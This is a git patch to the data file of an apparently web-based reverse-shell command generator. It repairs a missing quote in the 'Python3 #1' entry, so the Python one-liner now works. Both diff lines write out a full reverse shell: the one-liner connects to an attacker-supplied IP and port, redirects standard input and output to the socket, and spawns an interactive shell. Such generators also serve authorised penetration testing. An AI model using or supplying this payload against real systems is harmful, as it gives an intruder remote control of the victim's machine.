From a7a4ee666240256960a33d1379e1591d9083d250 Mon Sep 17 00:00:00 2001 From: Ziemni Date: Sun, 30 May 2021 14:37:18 +0200 Subject: [PATCH] Fixed missing "'" in "Python3 1" Missing "'" in "Python3 1" causes "Syntax error: Unterminated quoted string" error during execution. Fixed by adding "'" at the end of the command. --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index 695c293..75efe67 100644 --- a/js/data.js +++ b/js/data.js @@ -190,7 +190,7 @@ const reverseShellCommands = withCommandType( }, { "name": "Python3 #1", - "command": "export RHOST=\"{ip}\";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")", + "command": "export RHOST=\"{ip}\";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'", "meta": ["linux", "mac"] }, {